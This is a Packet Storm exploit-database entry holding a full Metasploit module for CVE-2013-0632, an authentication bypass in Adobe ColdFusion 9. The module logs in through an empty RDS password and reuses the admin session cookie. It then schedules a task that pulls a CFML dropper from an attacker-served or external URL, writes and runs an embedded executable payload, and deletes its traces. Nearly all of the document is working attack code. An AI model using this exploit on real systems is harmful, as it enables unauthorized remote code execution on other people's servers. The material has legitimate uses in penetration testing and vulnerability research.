Adobe ColdFusion 9 Administrative Login Bypass

2013-12-11T00:00:00
ID PACKETSTORM:124375
Type packetstorm
Reporter Scott Buckel
Modified 2013-12-11T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
Rank = GreatRanking  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe ColdFusion 9 Administrative Login Bypass',  
'Description' => %q{  
Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote attackers to bypass authentication using the RDS component. Its password can  
by default or by misconfiguration be set to an empty value. This allows you to create a session via the RDS login that  
can be carried over to the admin web interface even though the passwords might be different. Therefore bypassing  
authentication on the admin web interface which then could lead to arbitrary code execution.  
Tested on Windows and Linux with ColdFusion 9.  
},  
'Author' =>  
[  
'Scott Buckel', # Vulnerability discovery  
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ "CVE", "2013-0632" ],  
[ "EDB", "27755" ],  
[ "URL", "http://www.adobe.com/support/security/bulletins/apsb13-03.html" ]  
],  
'Privileged' => false,  
'Stance' => Msf::Exploit::Stance::Aggressive, #thanks juan!  
'Platform' => ['win', 'linux'],  
'Targets' =>  
[  
[ 'Windows',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
}  
],  
[ 'Linux',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 08 2013'  
))  
  
register_options(  
[  
OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', "" ]),  
OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),  
], self.class)  
  
register_advanced_options(  
[  
OptString.new('CFIDDIR', [ true, 'Alternative CFIDE directory', 'CFIDE'])  
])  
end  
  
def check  
uri = target_uri.path  
  
#can we access the admin interface?  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),  
})  
  
if res and res.code == 200 and res.body.to_s =~ /ColdFusion Administrator Login/  
print_good "#{peer} - Administrator access available"  
else  
return Exploit::CheckCode::Safe  
end  
  
#is it cf9?  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'images', 'loginbackground.jpg')  
})  
  
img = Rex::Text.md5(res.body.to_s)  
imghash = "596b3fc4f1a0b818979db1cf94a82220"  
  
if img == imghash  
print_good "#{peer} - ColdFusion 9 Detected"  
else  
return Exploit::CheckCode::Safe  
end  
  
#can we access the RDS component?  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),  
'vars_post' => {  
'method' => "login",  
'adminpassword' => "",  
'rdsPasswordAllowed' => "1"  
}  
})  
  
if res and res.code == 200 and res.body.to_s =~ /true/  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
@pl = gen_file_dropper  
@payload_url = ""  
  
if datastore['EXTURL'].blank?  
begin  
Timeout.timeout(datastore['HTTPDELAY']) {super}  
rescue Timeout::Error  
end  
exec_payload  
else  
@payload_url = datastore['EXTURL']  
upload_payload  
exec_payload  
end  
end  
  
def primer  
@payload_url = get_uri  
upload_payload  
end  
  
def on_request_uri(cli, request)  
if request.uri =~ /#{get_resource}/  
send_response(cli, @pl)  
end  
end  
  
#task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(  
#instead we use a CFML filedropper to embed our payload and execute it.  
#this also removes the dependancy of using the probe.cfm to execute the file.  
  
def gen_file_dropper  
rand_var = rand_text_alpha(8+rand(8))  
rand_file = rand_text_alpha(8+rand(8))  
  
if datastore['TARGET'] == 0  
rand_file += ".exe"  
end  
  
encoded_pl = Rex::Text.encode_base64(generate_payload_exe)  
  
print_status "Building CFML shell..."  
#embed payload  
shell = ""  
shell += " <cfset #{rand_var} = ToBinary( \"#{encoded_pl}\" ) />"  
shell += " <cffile action=\"write\" output=\"##{rand_var}#\""  
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""  
#if linux set correct permissions  
if datastore['TARGET'] == 1  
shell += " mode = \"700\""  
end  
shell += "/>"  
#clean up our evil .cfm  
shell += " <cffile action=\"delete\""  
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,\"/\")#\"/>"  
#execute our payload!  
shell += " <cfexecute"  
shell += " name = \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""  
shell += " arguments = \"\""  
shell += " timeout = \"60\"/>"  
  
return shell  
end  
  
def exec_payload  
uri = target_uri.path  
  
print_status("#{peer} - Our payload is at: #{peer}\\#{datastore['CFIDDIR']}\\#{@filename}")  
print_status("#{peer} - Executing payload...")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, datastore['CFIDDIR'], @filename)  
})  
end  
  
def upload_payload  
uri = target_uri.path  
  
@filename = rand_text_alpha(8+rand(8)) + ".cfm" #numbers is a bad idea  
taskname = rand_text_alpha(8+rand(8)) #numbers is a bad idea  
  
print_status "#{peer} - Trying to upload payload via scheduled task..."  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),  
'vars_post' => {  
'method' => "login",  
'adminpassword' => "",  
'rdsPasswordAllowed' => "1"  
}  
})  
  
unless res and res.code == 200  
fail_with(Failure::Unknown, "#{peer} - RDS component was unreachable")  
end  
  
#deal with annoying cookie data prepending (sunglasses)  
cookie = res.get_cookies  
  
if res and res.code == 200 and cookie =~ /CFAUTHORIZATION_cfadmin=;(.*)/  
cookie = $1  
else  
fail_with(Failure::Unknown, "#{peer} - Unable to get auth cookie")  
end  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),  
'cookie' => cookie  
})  
  
if res and res.code == 200 and res.body.to_s =~ /ColdFusion Administrator Login/  
print_good("#{peer} - Logged in as Administrator!")  
else  
fail_with(Failure::Unknown, "#{peer} - Login Failed")  
end  
  
#get file path gogo  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'settings', 'mappings.cfm'),  
'vars_get' => {  
'name' => "/CFIDE"  
},  
'cookie' => cookie  
})  
  
unless res and res.code == 200  
fail_with(Failure::Unknown, "#{peer} - Mappings URL was unreachable")  
end  
  
if res.body =~ /<input type="text" maxlength="550" name="directoryPath" value="(.*)" size="40" id="dirpath">/  
file_path = $1  
print_good("#{peer} - File path disclosed! #{file_path}")  
else  
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")  
end  
  
print_status("#{peer} - Adding scheduled task")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduleedit.cfm'),  
'vars_post' => {  
'TaskName' => taskname,  
'Start_Date' => "Nov 1, 2420",  
'End_Date' => "",  
'Interval' => "",  
'ScheduleType' => "Once",  
'Operation' => "HTTPRequest",  
'ScheduledURL' => @payload_url,  
'publish' => "1",  
'publish_file' => "#{file_path}\\#{@filename}",  
'adminsubmit' => "Submit"  
},  
'cookie' => cookie  
})  
  
unless res and res.code == 200 or res.code == 302 #302s can happen but it still works, http black magic!  
fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")  
end  
  
print_status("#{peer} - Running scheduled task")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),  
'vars_get' => {  
'runtask' => taskname,  
'timeout' => "0"  
},  
'cookie' => cookie  
})  
  
if res and res.code == 200 and res.body.to_s =~ /This scheduled task was completed successfully/  
print_good("#{peer} - Scheduled task completed successfully")  
else  
fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")  
end  
  
print_status("#{peer} - Deleting scheduled task")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),  
'vars_get' => {  
'action' => "delete",  
'task' => taskname  
},  
'cookie' => cookie  
})  
  
unless res and res.code == 200  
print_error("#{peer} - Scheduled task deletion failed, cleanup might be needed!")  
end  
end  
end  
`